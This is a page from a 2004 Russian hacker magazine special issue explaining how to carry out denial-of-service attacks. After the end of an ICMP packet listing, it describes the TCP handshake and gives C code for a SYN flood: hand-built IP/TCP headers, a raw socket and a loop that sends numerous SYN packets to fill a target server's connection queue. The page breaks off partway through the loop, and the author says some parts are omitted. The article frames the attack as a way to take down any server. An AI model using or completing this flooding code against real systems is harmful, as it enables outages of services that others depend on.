Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Удар издалека

Борис Вольфсон

Спецвыпуск: Хакер, номер #048, стр. 048-030-4


sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst);

// корректируем смещение

if (offset == 0)

{

icmp-> icmp_type = 0;

icmp-> icmp_code = 0;

icmp-> icmp_cksum = 0;

}

}

SYN flooding: смертельное рукопожатие

На десерт осталось самое вкусное блюдо - SYN flooding. В отличие от вышеописанных атак, SYN flooding довольно универсальна. С помощью нее можно забить канал любого сервера, независимо от его операционки, если, конечно, он не настроен очень хитрым образом :). Посмотрим, как работает связка TCP/IP в случае входящего соединения и как это можно использовать для организации DoS-атаки. Сначала клиентская машина посылает серверу SYN-пакет для установки связи. Получив запрос на соединение, сервер посылает клиенту SYN/ACK-пакет в качестве ответа. Такой пакет дает клиенту понять, что сервер ожидает связи. Затем клиент посылает ACK-пакет для подтверждения. Это на компьютерном сленге называется рукопожатием. Тут есть маленькая хитрость: как только серверу придет слишком много таких запросов на соединение, он будет игнорировать остальные запросы. Цель ясна: надо забить очередь входных соединений сервера, тогда он перестанет реагировать на другие запросы.

Напишем реализацию этой атаки, начав с типов данных и переменных:

// TPC/IP заголовок

struct send_tcp

{

struct iphdr ip;

struct tcphdr tcp;

} send_tcp;

// заголовок

struct pseudo_header

{

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

} pseudo_header;

int i;

int tcp_socket;

struct sockaddr_in sin;

int sinlen;

Переменные send_tcp и pseudo_header понадобятся при подготовке TCP/IP-пакета. tcp_socket мы будем использовать для отправки запросов.

Основная часть программы будет выглядеть так (несущественные места кода я опустил):

// формируем IP-пакет

send_tcp.ip.ihl = 5;

send_tcp.ip.version = 4;

send_tcp.ip.tos = 0;

send_tcp.ip.tot_len = htons(40);

send_tcp.ip.id = getpid();

send_tcp.ip.frag_off = 0;

send_tcp.ip.ttl = 255;

send_tcp.ip.protocol = IPPROTO_TCP;

send_tcp.ip.check = 0;

send_tcp.ip.saddr = source_addr;

send_tcp.ip.daddr = dest_addr;

// формируем TCP-пакет

send_tcp.tcp.source = getpid();

send_tcp.tcp.dest = htons(dest_port);

send_tcp.tcp.seq = getpid();

send_tcp.tcp.ack_seq = 0;

send_tcp.tcp.res1 = 0;

send_tcp.tcp.doff = 5;

send_tcp.tcp.fin = 0;

send_tcp.tcp.syn = 1;

send_tcp.tcp.rst = 0;

send_tcp.tcp.psh = 0;

send_tcp.tcp.ack = 0;

send_tcp.tcp.urg = 0;

send_tcp.tcp.res2 = 0;

send_tcp.tcp.window = htons(512);

send_tcp.tcp.check = 0;

send_tcp.tcp.urg_ptr = 0;

// установки sin

sin.sin_family = AF_INET;

sin.sin_port = send_tcp.tcp.source;

sin.sin_addr.s_addr = send_tcp.ip.daddr;

// открываем сокет

tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

for(i = 0; i < numsyns; i++)

{

// устанавливаем изменяемые поля

send_tcp.tcp.source++;

send_tcp.ip.id++;

send_tcp.tcp.seq++;

send_tcp.tcp.check = 0;

send_tcp.ip.check = 0;

// считаем контрольную сумму ip

send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);

// устанавливаем поля заголовка

Назад на стр. 048-030-3  Содержание  Вперед на стр. 048-030-5